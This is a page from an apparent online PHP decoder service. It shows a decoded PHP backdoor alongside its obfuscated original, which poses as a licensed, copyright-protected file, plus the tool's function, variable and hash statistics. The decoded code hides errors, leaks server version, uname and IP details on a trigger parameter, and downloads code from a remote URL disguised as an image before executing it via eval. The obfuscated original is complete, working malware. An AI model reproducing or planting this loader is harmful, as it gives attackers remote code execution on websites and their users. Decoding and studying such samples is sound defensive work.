Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* This file is protected by copyright law and provided under license. Reverse engin..

Decoded Output download

echo '
';
$GLOBALS["lnrkdexmo"] = "result";
$GLOBALS["fcgthfemb"] = "a";
$GLOBALS["kmnpcocuqa"] = "ch";
$GLOBALS["nqusfcueqf"] = "version";
$GLOBALS["mluhaqb"] = "ip";
$GLOBALS["ltnbuthggrc"] = "a";
error_reporting(0);
ini_set("display_errors",0);
if ($_REQUEST["watchx"]) {
$IIIIIIIIIIIl = "ip";
$GLOBALS["kumviinoca"] = "version";
$IIIIIIIIIII1 = "uname";
$version = phpversion();
$GLOBALS["tvefrhpr"] = "uname";
$uname = php_uname();
$ip = gethostbyname($_SERVER["HTTP_HOST"]);
echo json_encode(array("version"=>$version,"uname"=>$uname,"platform"=>PHP_OS,"ip"=>$ip,"workingx"=>true));
die;
}
function IIIIIIIIII1l($IIIIIIIIII11)
{
$IIIIIIIIIlII = "ch";
${$GLOBALS["kmnpcocuqa"]}= curl_init("{$IIIIIIIIII11}");
curl_setopt(${$GLOBALS["kmnpcocuqa"]},CURLOPT_RETURNTRANSFER,1);
$GLOBALS["oxuwprq"] = "ch";
curl_setopt(${$GLOBALS["kmnpcocuqa"]},CURLOPT_FOLLOWLOCATION,1);
curl_setopt(${$IIIIIIIIIlII},CURLOPT_USERAGENT,"Mozilla/5.0(Windows NT 6.1; 32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0);
curl_setopt(${$GLOBALS["kmnpcocuqa"]},CURLOPT_SSL_VERIFYHOST,0);
$GLOBALS["cbtslil"] = "ch";
curl_setopt(${$GLOBALS["kmnpcocuqa"]},CURLOPT_COOKIEJAR,$GLOBALS["coki"]);
curl_setopt(${$GLOBALS["kmnpcocuqa"]},CURLOPT_COOKIEFILE,$GLOBALS["coki"]);
${$GLOBALS["lnrkdexmo"]}= curl_exec($ch);
return ${$GLOBALS["lnrkdexmo"]};
}
${$GLOBALS["ltnbuthggrc"]}= IIIIIIIIII1l("https://webhostproject.github.io/IND/NP/JP/CN/settings.jpg");
eval("?>".${$GLOBALS["fcgthfemb"]});
;

Did this file decode correctly?

Original Code

<?php /* This file is protected by copyright law and provided under license. Reverse engineering of this file is strictly prohibited. */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x7c8;eval($OOO0000O0('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NGY5KTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCd5YitXOW9NTmFUZUhtWVBmTEZzbDV0ci9SQ0Q0bk9HYzhxM1ZRS3BBdjB3aFNrSUppZ3VqelUyZEV4NzZCWDFaPScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs='));return;?>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Oe~NicF\HiG]xC}m

Function Calls

fopen 1
fread 3
strtr 2
fclose 1
urldecode 1
str_replace 1
base64_decode 3

Variables

$O000O0O00 True
$O0O000O00 fgets
$O0O000O0O fgetc
$O0O00OO00 fread
$OO00O0000 1992
$OO00O00O0 echo ' '; $GLOBALS["lnrkdexmo"] = "result"; $GLOBALS["fcgth..
$OOO000000 fg6sbehpra4co_tnd
$OOO00000O strtr
$OOO0000O0 base64_decode
$OOO000O00 fopen
$OOO0O0O00 index.php

Stats

MD5 a1e8647b74fbfce687acfc7d5f7875bd
Eval Count 3
Decode Time 132 ms